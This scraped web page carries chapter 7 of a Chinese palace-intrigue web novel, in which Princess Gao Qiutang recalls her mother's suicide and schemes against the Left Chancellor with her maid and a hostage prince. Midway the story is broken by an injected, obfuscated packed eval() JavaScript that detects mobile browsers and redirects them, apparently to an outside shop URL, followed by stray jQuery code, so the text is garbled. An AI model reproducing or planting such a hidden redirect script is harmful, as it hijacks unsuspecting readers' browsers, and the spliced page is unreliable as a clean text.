7. 第 7 章
作品:《公主篡位时兼职训狗》 是梦,空旷大殿内一片漆黑,风不知从何处来,呼啸而去。
殿内寂静,呼吸声格外显著。
高秋堂低头,自己的胸膛平静,不是她。
呼吸声越发急促,带着压抑刺耳的叫声、哭声。蜡烛忽然燃起,红烛点燃帘帐,整个大殿都烧了起来。
高秋堂被惊得一身冷汗,想逃离身体却不受控制,生硬的走向火海。
一个身穿红衣的女人跪坐在地上,裙摆散开延伸成火海,犀利的哭着。
“母后……”高秋堂喃喃道。
女人忽然抬头看过来,那双眼睛混浊而带有恨意。大殿忽然变了副样子,变成囚笼,把女人困住。
女人跪爬着靠近囚笼,发了疯般拍打、尖叫:“让我出去!放我出去!”
她又哭了,哭声尖锐而刺耳。
高秋堂感觉心口刺痛,眼泪不知不觉爬了满脸。
忽的天旋地转,囚笼外变成无边旷野,仍是那名女子,一袭红衣在天地之间格外显眼,扬鞭催马,好不潇洒。
那枣红骏马与高秋堂昔日秋猎所骑是同一匹,在女人身下更是肆意狂奔,卷的地上野草拨风,飞到半空。
那马忽然朝着高秋堂奔来,一脸凶相,带着分想要将她撞死的感觉,前腿腾空而起。
高秋堂想要跑开,身体却被死死定住,只能眼睁睁看着马蹄越来越近……
“啊!”高秋堂惊起,大口大口呼吸着,浑身上下都是冷汗,额发贴在脸颊上,难受的厉害。
“公主,公主您怎么了?”青玉急匆匆的跑过来,刚睡醒的缘故头发还有些乱,满脸紧张的看着她。
高秋堂的胸膛剧烈起伏,过了好久才从方才的惊吓里回神,脸色苍白无力:“我……做噩梦了。”
她紧紧抓着青玉的衣摆,从未感觉自己如此孤单。
青玉长抒一口气,干脆坐在她床边,一边轻拍后背一边柔声道:“没事了,只是梦罢了……”
她们二人从小一起长大,与其说是主仆,其实更像是姐妹……是母亲留下的为数不多的遗物。
“我梦见母后了,她被困在宫里,哪里也去不了。”
青玉的动作忽然顿住,过了很久才再开口:“皇后她是个很厉害的人……在战场上救了我,带领军队直捣国都,困于深宫,她也不喜欢。”
高秋堂点头,靠在青玉肩上,闷声说:“母后是将门女子,在战场上从容自得,治国理政也颇有天赋……”
她的脸色忽而阴沉:“为何要将她困在后宫?”
青玉知道她在问谁,只得叹了口气:“皇后在天之灵也会保佑公主计划顺利的。”
高秋堂把脸埋在青玉肩头,短暂把自己的思绪全然放空,露出独属于这个年龄的一丝茫然。
先皇后懂军政,知礼节,爱民如子。作为女官也能够成就一番事业,但是最后困死在深宫。
高秋堂还记得母后自缢那天,她久违的平静,把年仅七岁的高秋堂叫到自己身边,告诉她陈国江山寿数已尽,皇帝昏庸,贪官当道。
那时候的高秋堂早已明白这是什么意思,她哭着承诺:“我必不让江山亡于他手。”
先皇后点了点头,然后让青玉带她出去。一盏茶的功夫,宫里就传开了皇后薨了的消息。
她开始联系母亲那边的亲人,和外公堂兄取得联系,该说是幸运,母族也并不看好皇帝,也带着丝为自家女儿复仇的心理,为高秋堂提供便利。
她就这样生涩而决绝的在朝堂上开了一盘棋局。
高秋堂抬起头,把那股子茫然尽数褪去,轻声问:“瞿简光怎么说?”
青玉道:“左相贪污的事已经是板上钉钉了,再加上之前秋猎质子受伤之事,虽不至于将他彻底钉死,也免不了伤他元气。”
“刘承熙挡了温忱的路。”高秋堂道:“不能只靠瞿简光,早日把温忱送上去才行。”
“嗯。”青玉拍了拍她的肩膀:“你再睡会儿吧。”
“好。”
前半夜做了噩梦,后半夜倒是睡得安生,高秋堂一下子睡到日上三竿,醒了后还在怔愣。
青玉小跑着进房,一脸喜悦的样子:“公主公主,出大事了!”
“什么大事?”高秋堂在婢女的服侍下换上衣服,然后遣散所有人。
青玉幸灾乐祸的笑道:“我昨日不是说明月楼有人闹事吗?是刘承熙,恰逢御史设宴,今日朝堂上御史上书还弹劾左相,给我们省了不少功夫!”
高秋堂挑眉:“刘承熙这般不识规矩,敢在明月楼闹事?”
“也不止他一个。”青玉掩嘴偷乐:“那个拓晤质子也在呢。”
高秋堂皱起眉,实在不明白赵赐安是闹哪出,问道:“瞿简光没拦着?”
青玉不解:“瞿公子为什么要拦着?”
在瞿简光的地盘,刘承熙算世家公子,赵赐安好歹还是皇子,二人大打出手,在高秋堂明确说了赵赐安是自己人的情况下,他作为主人居然没拦着。
是想抓住刘承熙的把柄,还是单纯不把赵赐安的名声当事?
高秋堂捏了捏眉心:“算了,父皇那里怎么说?”
“陛下问责左相教子无方,对质子倒是没说什么,具体情况我也不是很清楚,待我再去问问。”
“去吧。”高秋堂摆了摆手。
青玉离开后殿上又空无一人。高秋堂坐在桌前,案上是之前秋猎时得到的账本。
瞿简光还是有点东西,能把左相贪污的事情给查出来。但是如何把这账本交给皇帝,又以何种形式夺取左相手里的权力,瞿简光没说。
高秋堂忽然有种受制于人的感觉,莫名多了点怒气。
她久居于深宫,对于朝堂乃至于宫外的事情都不是非常清楚,大部分情报都来自于明月楼。
她深知只靠别人就是等死的道理,也在发展自己的势力。比如青玉在宫中与各方打好关系,早朝后总能从小太监嘴里得到些消息。
还有宫外的温忱。
温忱作为刘承熙的伴读丫头,天资卓越,文采斐然。被刘承熙夺走多篇文章,用于科举得到了相当好的成绩。而温忱也不满只做个丫鬟女婢,想要往上爬的时候得罪了刘承熙,被打得伤痕累累丢了出来。
幸亏那时高秋堂在宫外,偶遇并将其救下,否则只有死路一条。
高秋堂跟先皇后一样惜才,听了温忱的经历后深知此女不应被困与四方高墙,便给了她一个新的名字。
温华英。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16929559|192757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她用这个身份去参加科举,一路顺遂甚至在会试中居于榜首。
高秋堂不想她止步于此,但是刘承熙到底是个不小的阻碍,若是被他知道了温华英的真实身份,温忱免不了一死。
刘承熙……
高秋堂的手指无意识地敲击桌面,思索着接下来的对策。
昨日青玉出宫收了些百姓对刘承熙的怨言,之前也不乏有他杀人伤人的事情,只是耐不住左相官威,无人敢报。
但是今日御史弹劾左相……也未必不是机会。
“公主,”一名侍女在门外喊:“拓晤皇子求见您。”
他来做什么?
高秋堂撤下案上信纸,道:“让他进来吧。”
不多时,赵赐安便进来了。
他站在门口,手心包着白纱,下颌处也能看出些许淤青。青玉方才说在左相朝堂上被弹劾,但是照朝堂上那老东西的性子,赵赐安也少不了一顿明嘲暗讽。
赵赐安垂头抬眸,眼尾些许红,眼眶里起了雾。
“皇子为何忽然造访?”
赵赐安道:“公主应当已经知道我昨日和刘承熙在明月楼大打出手了吧?”
高秋堂点了点头:“嗯,是为何而斗?”
赵赐安舌尖顶腮:“那时他要强迫一个乐姬,我总不能见着他对一个姑娘下手。”
“做的不错。”高秋堂抬眼看他:“还有呢?”
赵赐安来陈国有些时日,若真是那惩恶扬善的性子,早不知道闹出多少事了,况且昨日才刚告诉他要注意刘承熙,昨日刚一分开就当众把刘承熙教训了一顿,说是巧合也有些牵强。
高秋堂唇角微微勾起,看着赵赐安的眼神染上了玩味:“在那种情况下闹事,是要让谁看见?”
赵赐安一愣,兀自笑出声:“公主您让我感觉您好像长了很多双眼睛。”
高秋堂权当他奉承,没回答,静静看着他。
赵赐安撇了撇嘴,低声道:“我没想过御史也在,那里人多,又是他先出手,高低算是闹事了,他如此放肆,又让那么多人看见……”
他没说完,面上虽然不显,耳朵却已经通红。
说到底,还是给高秋堂创造一个能看得见的瑕疵,能名正言顺对刘承熙乃至于左相下手的机会。
见她长久不语,赵赐安不时抬头看她表情,下唇咬的泛白,几次张嘴却什么都没说。
高秋堂说:“做的很棒。”
赵赐安一怔,而后笑道:“多谢。”
谢什么?高秋堂蹙眉,赵赐安也感觉自己反应有些过分,抿唇压住笑意却怎么也压不下唇角的弧度。
心想可能是在异国他乡第一次被认可吧。赵赐安这样想
高秋堂轻声道:“也好生在意自己身体。”
赵赐安脸上发烫,手攥成拳又松开,很久才说:“敢问公主接下来的计划,我也好配合。”
“你继续看着温忱便是了。”高秋堂温声道:“以后我自会向你提及。”
她并不是完全信任赵赐安,时间太快,太紧了,若非她无人可用,也不会用到这样一个陌生,身份也格外敏感的人。
高赐安也意识到了这一点,他沉默了一会儿,闷声说:“好。”

